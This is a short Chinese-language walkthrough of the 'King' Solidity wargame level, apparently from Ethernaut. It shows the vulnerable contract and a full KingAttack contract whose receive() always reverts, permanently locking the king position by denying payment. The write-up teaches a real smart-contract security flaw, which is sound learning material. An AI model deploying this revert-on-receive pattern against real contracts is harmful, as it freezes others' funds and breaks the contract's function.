在King这个题目中,只要转账金额大于当前King之前转账的金额时,你就成了新的King,同时你转的金额会全部贡献给前一个King。看代码
contract King {
address king;
uint256 public prize;
address public owner;
constructor() payable {
owner = msg.sender;
king = msg.sender;
prize = msg.value;
}
receive() external payable {
require(msg.value >= prize || msg.sender == owner);
payable(king).transfer(msg.value);
king = msg.sender;
prize = msg.value;
}
function _king() public view returns (address) {
return king;
}
}
仔细分析代码,逻辑上没有问题。整个行为最多的就是转账。那先尝试从转账入手攻击。自己转大金额过去,但是无法控制其他人会转更大的金额,这个有点买官的意思。这个是个无底洞,显然是不行的。在转账相关联的函数中有receive和fallback,是在接收转账的时候必须要使用的,如果是没有这2个函数,就是天然拒绝转账,将会revert,那么这个交易就直接失效,当前发起交易的账号就没法成为新的King。因此只要在这2个函数做文章就可以达到锁定King的效果了。
contract KingAttack {
address public king;
constructor(address _king) payable {
king = _king;
}
function attack(uint256 amount) public payable {
require(address(this).balance >= amount, "Not enough");
(bool success,) = king.call{value: amount}("");
require(success, "attack failed");
}
receive() external payable {
// 想成为新的King,就要转账给本王,我可以拒绝接受转账,国王的位置就bao'zhu
revert("I am the King forever, You can not!!");
}
}
以上就是攻击代码,只要在receive中revert就可以锁定King。使用fallback函数也可以达到同样的效果,只是fallback的触发条件更多(转账,无效调用等),不如receive来的精准。如果没有这两个函数也是拒绝接受转账。使用receive是为了方便可以在拒绝后增加后续的操作,兼容性和扩展性更强,就像我上面的一个永远的王的宣告:)
